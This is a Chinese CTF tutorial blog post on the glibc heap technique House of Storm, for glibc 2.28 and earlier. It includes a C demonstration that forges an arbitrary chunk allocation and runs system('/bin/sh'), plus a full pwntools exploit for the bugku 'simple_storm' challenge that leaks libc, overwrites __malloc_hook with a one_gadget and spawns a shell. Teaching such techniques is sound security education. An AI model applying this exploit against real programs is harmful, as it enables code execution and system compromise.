• 堆Pwn:House Of Storm利用手法


    0x00:介绍

    利用手法的背景:

    house of storm是一种结合了unsorted bin attack和Largebin attack的攻击技术,其基本原理和Largebin attack类似。但不同的是,Largebin attack只可以在任意地址写入堆地址,而house of storm 则可以导致任意地址分配chunk,也就是说可以造成任意地址写的后果,危害性大。不过,house of storm 虽然危害大,但其利用条件也是十分苛刻的。

    该利用手法适用于glibc 2.28及以下的版本,因为unsorted bin attack在glibc 2.29中已失效。

     

    利用条件:

    1. 需要unsorted bin中的bk指针可控;

    2. 需要largebin中的bk指针和bk_nextsize指针可控;

    3. 需要在largebin和unsorted bin中分别布置一个chunk,同时需要这两个chunk在归为之后处于同一个largebin的index中,且unsorted中的chunk要比largebin中大;

     

     前置了解:

    需要了解unsorted bin attack和Largebin attack攻击手法。

    下面会先大概介绍一下这两种攻击手法,并说明如何叠加变成house of storm。

     

     0x01:前置的利用手法

    Unsorted Bin Attack:

    该攻击手法可以达到任意地址写一个libc地址(即unsorted_chunks(av))的效果。unsorted bin attack发生在malloc时,对unsorted bin 中的chunk脱链时刻。图中的文字注明已经很清楚了,只要将unsorted bin的末尾chunk的修改为target - 0x10处,则在chunk脱链后,前后chunk进行fd/bk互连的过程中,会将target处赋值为一个libc地址。

    但大家往往只关注到了target处被赋值了,其实unsorted_chunks(av) → bk同时也被赋值为了target - 0x10。

    注意,在libc2.29中,这部分加入了双链表检查。这表明从libc2.29开始,unsorted bin attack手法就无法使用了。

     

     Largebin Attack:

    该利用手法的本质和unsorted bin attack一样,都是基于双链表互连过程中发生的。不过由于在large bin中,有靠fd/bk相连的双链表和靠fd_nextsize/bk_nextsize相连的双链表,所以可以对任意两处的地址进行赋值,赋值为堆地址(victim,从unsorted bin中脱链出来的chunk)。

    2.23 ~ 2.29版本中largebin attack的利用点,在2.30及以后的版本中,这里加入了双链表检测,所以在libc2.30及以后,该处的largebin attack无法使用了。

     

     

     Buffer叠加:

    这里说一下unsorted bin attack和largebin attack如何叠加,变成house of storm,达到任意地址分配chunk的效果。

    在unsorted bin中的chunk脱链,然后链接到large bin的过程中,可以同时进行这两种攻击。为之,所以我们需要在large bin中布置一个chunk,并且在unsorted bin中布置一个size稍大于largebin的chunk,使其能够链接在large bin中chunk的后面。

    house of storm中,unsorted bin attack主要用到的是unsorted_chunks(av) → bk同时也被赋值为了fake(只是一个记号)。在下次申请chunk,使其进入unsorted bin的分支时,victim = unsorted_chunks(av) → bk(即fake),紧接着会有一个分支检查其size是否满足申请。只要满足了,则会直接分配fake处为chunk返回。现在,我们的关键点就是如何使用largebin attack使得其size发生稳定的改变。

    我们已经知道largebin attack是向任意地址赋值堆地址。在64字长的系统中,地址寻址为8字节,但堆地址只占5个字节,而特别的是仅已0x55或0x56开头。那么只要我们通过largebin attack向fake + 0x3处,赋值一个堆地址,则以fake为chunk的size处为0x55或者0x56。这样,就成功的修改了size。

    注意小端序的问题:

     

     

     0x02:Demo示例

    复制代码
    // gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
    #include 
    #include 
    #include <string.h>
    struct {
        char chunk_head[0x10];
        char content[0x10];
    }fake;
    
    int main(void)
    {
        unsigned long *large_bin,*unsorted_bin;
        unsigned long *fake_chunk;
        char *ptr;
    
        unsorted_bin=malloc(0x418);
        malloc(0X18);
        large_bin=malloc(0x408);
        malloc(0x18);
    
        free(large_bin);
        free(unsorted_bin);
        unsorted_bin=malloc(0x418);
        free(unsorted_bin);
    
        fake_chunk=((unsigned long)fake.content)-0x10;
        unsorted_bin[0]=0;
        unsorted_bin[1]=(unsigned long)fake_chunk;
    
        large_bin[0]=0;
        large_bin[1]=(unsigned long)fake_chunk+8;
        large_bin[2]=0;
        large_bin[3]=(unsigned long)fake_chunk-0x18-5;
    
        ptr=malloc(0x48);
        strncpy(ptr, "/bin/sh", 0x48 - 1);
        system(fake.content);
    }
    复制代码

    该代码展示的最终目标是分配chunk到fake_chunk。

    代码16~19行,分配了两个large bin范围的chunk,并隔开。稍大的chunk后面会被调(tiao)到unsorted bin中,稍小的chunk会被free到large bin中。

    代码21~24行,先将两个chunk free到unsorted bin中(头插法,先进先出)。然后malloc稍大的那个chunk使稍小的chunk进入large bin中,最后再次free掉稍大的chunk,使其进入unsorted bin。这样就满足的第三个条件。

    后面就是对bk和bk_nextsize指针进行操控:

    复制代码
    //代码26 ~ 33
     
        fake_chunk=((unsigned long)fake.content)-0x10;
    //unsorted_bin->bk = fake_chunk
    //则fake_chunk->fd = unsorted_chunks(av),不过似乎没有发挥使用
    //重点是:unsorted_chunks(av)->bk = fake_chunk
        unsorted_bin[0]=0;
        unsorted_bin[1]=(unsigned long)fake_chunk;
    
        large_bin[0]=0;
        large_bin[1]=(unsigned long)fake_chunk+8;
        large_bin[2]=0;
    //(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
    //即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
        large_bin[3]=(unsigned long)fake_chunk-0x18-5;
    
    /*其实,largebin attack部分这样也可以:
    *    large_bin[0]=0;
    *   large_bin[1]=(unsigned long)fake_chunk-0x8-5;
    *   large_bin[2]=0;
    *   large_bin[3]=(unsigned long)fake_chunk-0x8;
    *因为有两处可以修改任意地址
    */
    复制代码

    malloc(0x48):申请0x50大小的chunk,chunk中size为0x55/0x56的大小也会被归为0x50这一级别。malloc(0x48)这一过程中,把unsorted_bin脱链,并链接到了large bin中。

     

     

     这里需要size为0x56才能分配chunk成功,0x55是会发生报错的。其原因是因为从_int_malloc返回到_libc_malloc后,还会有个断言对chunk进行检查:

    复制代码
    /*
        #define arena_for_chunk(ptr) \
            (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
        
        过以下检测需要满足的要求,只需满足一条即可
        1. victim 为 0
        2. IS_MMAPPED 为 1
        3. NON_MAIN_ARENA 为 0
    */
    assert(!victim || chunk_is_mmapped(mem2chunk(victim)) 
           || ar_ptr == arena_for_chunk(mem2chunk(victim)));
    复制代码

    0x56:0101 0110,满足第二个。

    0x55:0101 0101,不满足,会报错。

    因为系统一般会开ASLR,所以0x56、0x55发生的概率差不多,crash的话,多试几次就好了。

     

     0x03:题目实践

    bugku的simple_storm:

    链接:https://pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取码:lele

    静态分析程序,delete函数里面存在UAF漏洞,那就可以随便玩了。

    这里使用house of storm手法,应该还有其他方法。

    具体思路就不说了,和上面的示例基本一模一样,这里getshell是通过覆盖malloc_hook为one_gadget。需要注意的是选择fake_chunk位置时,size位不能有数据,要为空。

    复制代码
    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    
    io = process("./simple_storm")
    #io = remote("114.67.175.224", 12327)
    libc = ELF("./libc-2.23.so")
    
    def add(size):
        io.sendlineafter("Your choice?", "1")
        io.sendlineafter("Size?", str(size))
    
    def delete(idx):
        io.sendlineafter("Your choice?", "2")
        io.sendlineafter("Index?", str(idx))
    
    def edit(idx, content):
        io.sendlineafter("Your choice?", "3")
        io.sendlineafter("Index?", str(idx))
        io.sendlineafter("Content?", content)
    
    def show(idx):
        io.sendlineafter("Your choice?", "4")
        io.sendlineafter("Index?", str(idx))
    
    def debug():
        gdb.attach(io)
        pause()
    
    add(0x400) #0
    add(0x18)  #1
    add(0x410) #2
    add(0x18)  #3
    delete(0)
    show(0)
    main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
    libc_base = main_arena - 0x3c4b20
    print("@@@ main_arena = " + str(hex(main_arena)))
    print("@@@ libc_base = " + str(hex(libc_base)))
    
    delete(2)
    add(0x410) #4
    delete(4)
    
    ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    malloc_hook = main_arena - 0x10
    fakechunk = malloc_hook - 0x50
    edit(4, p64(0) + p64(fakechunk))
    edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5))
    add(0x48) #5
    edit(5, p64(ogg[1] + libc_base)*9)
    add(0x20)
    io.interactive()
    复制代码

     

    本文参考:

    https://www.anquanke.com/post/id/203096

    https://www.cnblogs.com/Rookle/p/13140339.html


    tolele

    2022-09-25

     

  • 相关阅读:
    VUE3学习
    小球无规则移动(动画参数AnimationParameters)
    【RtpSeqNumOnlyRefFinder】webrtc m98: ManageFrameInternal 的帧决策过程分析
    R语言和RStudio的下载安装(非常简便舒适)
    为什么推荐从Linux开始了解IT技术
    4路光栅尺磁栅尺编码器解码转换5MHz高速差分信号转Modbus TCP网络模块 YL97-RJ45
    全国高校软件测试开发教学师资培训会圆满落幕
    对登录过程进行Fiddler抓包实现jmeter登录
    FPGA中的LUT查找表工作原理。
    C语言 深度探究C语言中的函数
  • 原文地址:https://www.cnblogs.com/tolele/p/16728502.html